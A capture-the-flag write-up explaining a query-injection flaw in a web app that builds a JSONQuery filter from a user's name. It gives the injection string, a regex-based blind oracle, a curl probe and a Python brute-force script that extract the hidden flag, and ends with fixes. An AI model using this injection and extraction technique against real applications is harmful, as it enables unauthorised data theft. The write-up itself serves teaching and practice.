FortID CTF — “Jey is not not my son”
JSONQuery injection to exfiltrate a hidden flag from a row where Name == "flag"
.
TL;DR
The web app interpolates the user’s name
straight into a JSONQuery DSL filter. We inject our own predicate, bypass the trailing year check, and turn the result count into a yes/no oracle with regex(.Year, "^…")
. Because digits are forbidden in name
, we use dot placeholders (.
) for unknown characters, discover the whole mask first, then fill in digits by leetspeak. Final flag:
FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}
Vulnerable snippet
query = f"""
.collection
| filter(.Name == "{name}" and .Year == "{year}")
| pick(.Count) | map(values()) | flatten() | map(number(get())) | sum()
"""
output = jsonquery(data, query)
- Issue:
name
is spliced into the DSL without escaping → code injection. - Server also blocks digits in
name
and forces1880 ≤ year ≤ 2025
.
Stable injection shape
We close the string after .Name == "
, insert our predicate, then re-open safely so the template’s tail still parses:
name = x" or (<OUR_PREDICATE>) or (""=="x") and "
Oracle via regex()
on the hidden row
There is a single secret row with Name == "flag"
, and the “hint” implies the flag lives in its Year
field. We use count == 1 as “true”:
.Name == "flag" and regex(.Year, "^<PREFIX>")
Digits workaround: use dot placeholders
Important correction: since digits are not allowed in name
, we do not put \d
in the regex. We use the regex dot .
as a placeholder at unknown positions. That lets us advance the prefix even when the next character is a digit.
- Alphabet for guessing letters:
ALPHA = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_."
- Algorithm: try each letter from
ALPHA
at the current position. If none yields count 1, place a dot (.
) at this position and move on. - This produces a mask like:
FortID{B._th._.n._wh._.s_n.t_b.ind_.n_th._n.w_.r.}
- Finally, apply leetspeak to replace dots with digits:
B3 th3 0n3 wh0 1s n0t b1ind 1n th3 n3w 3r4
.
Working cURL probe
Base check (should return “appeared 1 time(s)”):
curl -skG 'https://fortid-jey-is-not-my-son.chals.io/' \
--data-urlencode 'year=2000' \
--data-urlencode 'name=x" or (.Name == "flag" and regex(.Year, "^FortID{")) or (""=="x") and "'
Minimal Python helper (with dot placeholders)
import html, re, requests
from bs4 import BeautifulSoup
URL = "https://fortid-jey-is-not-my-son.chals.io/"
YEAR = "2000" # any valid year
ALPHA = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_."
def appeared_count(html_text: str) -> int:
m = re.search(r"appeared\s+([0-9]+)\s+time", html.unescape(html_text), re.I)
return int(m.group(1)) if m else -1
def probe(mask: str) -> int:
inj = f'x" or (.Name == "flag" and regex(.Year, "^{mask}")) or (""=="x") and "'
r = requests.get(URL, params={"year": YEAR, "name": inj}, timeout=10, verify=False)
return appeared_count(r.text)
def brute():
requests.packages.urllib3.disable_warnings()
assert probe("FortID{") == 1, "Seed '^FortID{' must confirm (1)."
known = "FortID{"
while not known.endswith("}"):
# try concrete letters / underscore first
progressed = False
for ch in ALPHA:
if ch == '.': # leave '.' for the fallback phase
continue
cand = known + re.escape(ch)
if probe(cand) == 1:
known = known + ch
print("[ok] ", known)
progressed = True
break
if progressed:
continue
# fallback: put '.' placeholder to skip unknown (likely a digit)
cand = known + '.'
if probe(cand) == 1:
known = known + '.'
print("[dot]", known)
continue
raise SystemExit("Stuck: extend ALPHA or re-check parser stability.")
return known
mask = brute()
print("Mask:", mask)
# Leetspeak fill:
flag = "FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}"
print("Flag:", flag)
Result
FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}
Root cause & fixes
- Don’t concatenate untrusted input into a query DSL; escape or use a safe builder/AST.
- Server-side allow-list is good, but it doesn’t replace escaping.
- Move filtering into application code or parametrize queries.
© Write-up for the FortID “Jey is not not my son” challenge.